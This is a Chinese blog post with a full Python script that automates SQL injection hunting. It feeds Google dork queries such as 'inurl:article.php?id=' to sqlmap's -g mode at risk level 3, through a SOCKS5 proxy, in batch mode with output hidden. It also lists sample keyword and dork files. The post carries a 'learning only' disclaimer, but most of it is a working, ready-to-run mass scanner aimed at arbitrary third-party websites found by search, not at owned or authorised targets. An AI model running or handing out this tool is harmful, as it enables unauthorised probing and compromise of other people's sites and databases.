当前位置:首页 > 信息安全 > 正文内容

(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究

chanra1n1年前 (2023-09-10)信息安全6691

注意,本程序仅用于学习和方法研究,不得进行实际使用。

下面的程序是一个Python脚本,用于执行sqlmap命令的多线程批处理工具。以下是对程序的主要特点和功能的介绍:

  • 文件检查和初始化:程序开始时会检查是否存在keywords.txt和type.txt文件。如果这两个文件不存在,程序将输出错误消息并退出。

  • 关键字计数:程序会打开keywords.txt和type.txt文件,计算每个文件中的行数,用于后续的进度跟踪。

  • 多线程处理:程序使用concurrent.futures.ThreadPoolExecutor创建一个线程池,以限制并发线程的数量。这有助于提高程序的效率,避免同时运行太多的sqlmap命令。

  • 执行sqlmap命令:每个线程负责执行一个sqlmap命令。sqlmap命令的具体内容存储在sqlmap_command变量中,可以根据show_sqlmap_output标志来决定是否输出sqlmap命令的结果。如果show_sqlmap_output为True,则会显示命令输出,否则输出将被重定向到/dev/null以隐藏。

  • 进度跟踪:程序使用全局计数器和线程锁来跟踪关键字的处理进度,以便在控制台上显示处理进度信息。

  • 错误处理:程序包含错误处理机制,能够捕获sqlmap命令执行过程中的错误,并输出错误消息。

  • 任务等待:在所有任务提交到线程池后,程序会等待所有任务完成,然后输出"All Works done!"消息表示处理完成。

  • 控制输出:你可以在代码的开头设置show_sqlmap_output为True或False来控制是否输出sqlmap命令的结果。

这个程序允许你批量执行sqlmap命令,根据需要控制是否显示命令的输出,并且通过多线程提高了执行效率。它可以帮助你自动化执行sqlmap扫描任务,并在需要时进行扩展和自定义。

#run.py
# -*- coding: utf-8 -*-
import os
import threading
from concurrent.futures import ThreadPoolExecutor
import subprocess

# 控制是否输出sqlmap命令的标志
show_sqlmap_output = False

# 检查是否存在keywords.txt和type.txt文件
if not (os.path.isfile("keywords.txt") and os.path.isfile("type.txt")):
    print("keywords.txt and type.txt not exist.")
    exit(1)

# 计算关键字总数
with open("keywords.txt", "r") as keywords_file:
    total_keywords1 = sum(1 for line in keywords_file)

with open("type.txt", "r") as type_file:
    total_keywords2 = sum(1 for line in type_file)

# 初始化进度计数器和锁
progress_keywords1 = 0
progress_keywords2 = 0
progress_lock = threading.Lock()

# 函数执行sqlmap命令
def execute_sqlmap(keyword1, keyword2):
    global progress_keywords1, progress_keywords2

    try:
        # 执行sqlmap命令,根据show_sqlmap_output标志来决定是否输出
        sqlmap_command = f"sqlmap -g \"{keyword1} {keyword2}\" --proxy \"socks5://192.168.0.167:10516\" --threads 5 --batch --answer \"extending=N,follow=N,keep=N,exploit=N\" --smart --risk 3"
        if not show_sqlmap_output:
            sqlmap_command += " > /dev/null 2>&1"
        
        subprocess.run(sqlmap_command, shell=True, check=True)

        # 更新进度计数器
        with progress_lock:
            progress_keywords2 += 1
            progress_keywords2 = progress_keywords2 % total_keywords2
            print(f"INFO:Words:{progress_keywords1}/{total_keywords1},Type:{progress_keywords2}/{total_keywords2}")
    except subprocess.CalledProcessError as e:
        print(f"ERROR: An error occurred for keyword pair ({keyword1}, {keyword2}): {str(e)}")

# 创建线程池
thread_pool = ThreadPoolExecutor(max_workers=5)  # 控制并发线程数量

# 从keywords.txt中逐行读取关键字1
with open("keywords.txt", "r") as keywords_file:
    for keyword1 in keywords_file:
        keyword1 = keyword1.strip()
        if keyword1:
            # 增加关键字1的进度
            with progress_lock:
                progress_keywords1 += 1

            # 从type.txt中逐行读取关键字2并提交到线程池执行sqlmap命令
            with open("type.txt", "r") as type_file:
                for keyword2 in type_file:
                    keyword2 = keyword2.strip()
                    if keyword2:
                        # 提交任务到线程池
                        thread_pool.submit(execute_sqlmap, keyword1, keyword2)

# 等待所有任务完成
thread_pool.shutdown()

print("All Works done!")

keywords.txt

Business
Company
Corporation
Entrepreneur
Startup
Industry
Commerce

type.txt

inurl:aboutbook.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:article.php?ID=
inurl:article.php?id= 
inurl:artikelinfo.php?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=


扫描二维码推送至手机访问。

版权声明:本文由我的FPGA发布,如需转载请注明出处。

本文链接:http://myfpga.cn/index.php/post/326.html

分享给朋友:

“(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究” 的相关文章

密码学绪论

密码学绪论

密码学(在密码学(在西欧语文中,源于希腊语kryptós“隐藏的”,和gráphein“书写”)是研究如何隐密地传递信息的学科。在现代特别指对信息以及其传输的数学性研究,常被认为是数学和计算机科学的分支,和信息论也密切相关。著名的密码学者Ron Rivest解释道:“密码学是关于如何在敌人存在的环境...

(原创)对SQLMAP -g自动挖洞程序补充的后续配套代码及应用 仅用于学习和方法研究

(原创)对SQLMAP -g自动挖洞程序补充的后续配套代码及应用 仅用于学习和方法研究

前言在这之前,我们发布了一篇《(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究》,今天开源的是其配套的后续程序,能够实现结果上传,并保存至数据库中,方便查看。注意:下面的程序没有进行安全增强,可能会带来SQL注入问题,请在内网搭建使用即可。摘要在今天的博客中,我们将介绍两个P...

(原创)通过Python编写网络爬虫程序并保存结果(SearX) 仅用于学习和方法研究

(原创)通过Python编写网络爬虫程序并保存结果(SearX) 仅用于学习和方法研究

简介在今天的数字时代,网络上的信息量庞大,但有时我们需要从多个网站中收集数据。在这篇博客中,我们将介绍如何使用Python编写一个网络爬虫程序,以自动从多个网站中抓取数据,并将结果保存到文件中。我们将使用一个名为SearxCheckList的示例程序来演示这个过程。第一步:准备工作在开始编写网络爬虫...

(原创)Xray多目标检测控制 Python实现 带继续扫描 目标去重 WebHook上传

(原创)Xray多目标检测控制 Python实现 带继续扫描 目标去重 WebHook上传

Web安全是互联网时代一个非常重要的话题。为了确保网站和应用程序的安全性,经常需要进行漏洞扫描和渗透测试。Xray 是一款强大的开源工具,可以用于自动化漏洞扫描。在本篇博客中,我们将介绍如何使用 Python 编写一个自动化脚本,将 Xray 与 Python 结合起来,以实现对多个目标网站的自动化...

(原创)关于钓鱼邮件的识别和溯源分析  本文仅用于学习和分析

(原创)关于钓鱼邮件的识别和溯源分析 本文仅用于学习和分析

首先我想说明,网络不是法外之地,我奉劝某些人好自为之!一天到晚被攻击,从代码审计到SQL注入,从XSS到扫描....没完没了。是真的服了,我一个搞电子的,建个网站分享知识,还得被迫学习信息安全。。。真的是全方位,不同方面来提高我在信息安全方面的认识和理解。近期收到一个邮件,简单分析发现问题,发件方没...